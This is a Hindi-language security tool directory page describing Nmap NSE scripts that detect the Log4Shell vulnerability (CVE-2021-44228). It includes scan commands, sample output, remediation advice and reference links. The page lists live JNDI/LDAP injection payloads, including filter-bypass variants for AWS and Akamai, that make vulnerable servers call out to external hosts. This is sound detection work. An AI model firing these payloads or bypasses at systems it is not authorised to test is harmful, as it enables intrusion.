Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
nse-log4shell — log4shell या LogJam कमजोरियों (CVE-2021-44228) के विरुद्ध जाँच करने के लिए Nmap NSE स्क्रिप्ट्स | Kitploit
उपकरण/GitHubGitHub/diverto/nse-log4shell
भेद्यता स्कैनरशोषणवेब सुरक्षानेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगDNS विश्लेषणArchived
GitHubdiverto/nse-log4shell

nse-log4shell

log4shell या LogJam कमजोरियों (CVE-2021-44228) के विरुद्ध जाँच करने के लिए Nmap NSE स्क्रिप्ट्स

रिपॉजिटरी देखें
352474 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

nse-log4shell

लॉग4शेल या LogJam कमजोरियों (CVE-2021-44228) की जांच के लिए Nmap NSE स्क्रिप्ट्स। NSE स्क्रिप्ट्स इंटरनेट पर सबसे लोकप्रिय खुली सेवाओं की जांच करती हैं। यह एक बुनियादी स्क्रिप्ट है जहाँ आप पेलोड को अनुकूलित कर सकते हैं।

उदाहरण

ध्यान दें कि NSE स्क्रिप्ट्स केवल सेवाओं को अनुरोध भेजेंगी। Nmap कमजोर होस्ट की रिपोर्ट नहीं करेगा, बल्कि आपको DNS लॉग्स की जांच करनी होगी। यदि आप मैन्युअल रूप से पेलोड निर्दिष्ट नहीं करते हैं, तो NSE स्क्रिप्ट्स डिफ़ॉल्ट रूप से dnslog.cn का उपयोग करेंगी। इसका मतलब है कि अनुरोध dnslog.cn द्वारा देखे जाएंगे।

dnslog.cn की सहायता से त्वरित

उस निर्देशिका पर जाएँ जहाँ ये स्क्रिप्ट्स स्थित हैं और निम्नलिखित कमांड जारी करें (Nmap स्वचालित रूप से dnslog.cn प्राप्त करेगा)।

Linux पर:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

Windows पर:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

विचार करने योग्य पेलोड्स

v2.15.0 पर नया पैच बाईपास (CVE-2021-45046), @marcioalm को धन्यवाद (ट्वीट):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

AWS बाईपास (@11xuxx को धन्यवाद - ट्वीट):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Akamai बाईपास (@ozgur_bbh को धन्यवाद - ट्वीट):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

मैन्युअल कॉन्फ़िगरेशन

Windows उदाहरण (@ZedFuzz को धन्यवाद) - कोट्स को एस्केप करने का तरीका नोट करें:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

logdns (कस्टम DNS लॉगिंग सर्वर) की सहायता से

http://github.com/kost/logdns पर जाएँ और DNS सर्वर प्राप्त करें। डोमेन प्राप्त करें और इसे उस स्थान पर पॉइंट करें जहाँ आपने logdns स्थापित किया है:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

dnslog.cn की सहायता से

http://dnslog.cn/ पर जाएँ और SubDomain प्राप्त करें। अपने xxxx को अपने SubDomain से बदलें:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

burpcollaborator की सहायता से

Burp collaborator से अपना डोमेन लें और xxxx को अपने डोमेन से बदलें:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

CanaryToken (https://canarytokens.org/generate#) की सहायता से

CanaryToken से अपना टोकन लें और xxxx को अपने डोमेन से बदलें:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

@saintz666 को धन्यवाद

अनुशंसित तरीका

dnslog.cn में छोटे सत्र होते हैं (लगभग आधे घंटे)। स्कैन जितना समय लेता है, उतने समय तक सत्र को बढ़ाने का कोई तरीका होना चाहिए। साथ ही, कभी-कभी DNS क्वेरी अनुरोध प्राप्त होने के बाद बहुत बाद में होती है। किसी ने बताया कि अनुरोध करने के घंटों बाद DNS अनुरोध प्राप्त हुआ। कार्य-समाधान के रूप में, nmap NSE स्क्रिप्ट्स प्रत्येक होस्ट स्कैन करने के बाद सत्र पुनः प्राप्त करती हैं।

इसलिए, वर्तमान में, सबसे अच्छे आश्वासन के लिए logdns जैसे उपकरण के साथ कस्टम DNS डोमेन का उपयोग करना है: https://github.com/kost/logdns

नमूना आउटपुट

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

समाधान/सुधार

सर्वोत्तम सुधारों और कार्य-समाधानों की सूची।

सर्वोत्तम सुधार

CVE-2021-44228 से बचाव का सर्वोत्तम उपाय: log4j-2.16.0 या उसके बाद के संस्करण में अपडेट करें।

ध्यान दें कि log4j-2.15.0-rc1 अब अनुशंसित नहीं है क्योंकि नई कमजोरियाँ पाई गईं। इसलिए, आपको log4j-2.16.0 या उसके बाद के संस्करण में अपडेट करना चाहिए (@ruppde को धन्यवाद)।

साथ ही, ध्यान दें कि log4j2.formatMsgNoLookups को true पर सेट करने जैसी अन्य अनुशंसाओं से बचना चाहिए।

सर्वोत्तम पहचान

log4shell कमजोरी की पहचान करने का सबसे अच्छा तरीका स्थानीय फाइलसिस्टम में log4j आर्टिफैक्ट्स की जांच करना है।

इन NSE स्क्रिप्ट्स का उपयोग केवल अतिरिक्त आश्वासन के लिए किया जाना चाहिए। NSE कमजोर सेवाओं की पहचान करने में मदद करती हैं, न कि कमजोर एप्लिकेशन की। यह कमजोर एप्लिकेशन की पहचान कर सकती है यदि वह हर अनुरोध (रूट / सहित) लॉग करता है, न कि यदि कमजोरी किसी लॉगिन के पीछे छिपी हो। इसके लिए आपको एक वेब स्कैनर की आवश्यकता होगी जो पूरी वेब को क्रॉल करे।

आप निम्नलिखित उदाहरण के साथ विशिष्ट URI की जांच कर सकते हैं: http-log4shell.url=/my/application/uri

यह HTTP हेडर और कुकी के माध्यम से जांच करेगा। यदि आपको POST/GET फॉर्म की जांच करनी है, तो आपको http-spider-log4shell की जांच करनी चाहिए। फिर भी, log4j के समर्थन वाले वेब स्कैनर का उपयोग करना सबसे अच्छा है।

यह भी ध्यान दें कि log4j-core <= 2.7 के लिए अभिव्यक्ति में उपसर्ग संयोजन के साथ DNS रिज़ॉल्यूशन समर्थित नहीं लगता है। इसलिए, ${java:os} जैसी किसी चीज़ से परीक्षण करने से गलत नकारात्मक परिणाम हो सकते हैं। इसलिए, नकारात्मक से कुछ गलत सकारात्मक होना बेहतर है।

संदर्भ

कमजोरी के सामान्य संदर्भ और लिंक

सामान्य

Reddit थ्रेड - log4shell के बारे में सामान्य जानकारी

NCC log4shell - कमजोरी से संबंधित परिचालन जानकारी (IOCs, शमन, स्कैनिंग, सॉफ्टवेयर)

संबंधित

BlueTeam CheatSheet Log4Shell - Log4Shell (CVE-2021-44228) से जुड़ी सुरक्षा सलाह/बुलेटिन

सॉफ्टवेयर सूची - चीट-शीट संदर्भ गाइड - विक्रेता प्रतिक्रियाओं द्वारा प्रभावित सॉफ्टवेयर सूची

परीक्षण

ध्यान दें कि रिमोट और ऑनलाइन जाँचें अतिरिक्त आश्वासन या त्वरित परीक्षण के रूप में उपयोगी हैं। अतिरिक्त आश्वासन के लिए, स्थानीय रूप से फाइलों को ज्ञात log4j हस्ताक्षरों के लिए स्कैन करने की अनुशंसा की जाती है।

lo4shell.huntress.com - ऑनलाइन Log4Shell कमजोरी परीक्षक

log4j yara - स्थानीय पहचान के लिए yara नियम

identify-log4j-class-location.sh - ear/war/jar फ़ाइलों के संग्रह में CVE-2021-44228 के लिए प्रभावित Log4J क्लास की पहचान करने की स्क्रिप्ट

शोषण

PoC-log4j-bypass-words - पैच को ब्लॉक करने वाले शब्दों को बायपास करने की एक युक्ति

शोषण का पता लगाना

log4shell-detector - Log4Shell शोषण प्रयासों का डिटेक्टर

Log4Shell-IOCs - IOC फीड और खतरे की रिपोर्ट की सूची

log4j_rce_detection.md - आप शोषण प्रयासों की खोज के लिए इन कमांड और नियमों का उपयोग कर सकते हैं

शमन/सुधार

log4j सलाह - Apache Log4j सुरक्षा कमजोरियाँ

log4j पुल रिक्वेस्ट और टिप्पणियाँ - पुल रिक्वेस्ट जो टिप्पणियों के साथ बग को ठीक करती है

Logout4Shell - मैन्युअल पैचिंग का त्वरित और गंदा विकल्प

टूल डाउनलोड करें